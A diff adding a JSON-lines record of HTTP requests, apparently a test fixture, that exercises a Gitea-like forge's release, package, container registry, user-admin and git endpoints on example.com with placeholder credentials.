+{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
+{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
+{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
+{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
+{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
+{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "POST", "target": "/v2/alice/python3-app/blobs/uploads/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
+{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
+{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
+{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
+{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
+{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
+{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
+{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
+{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
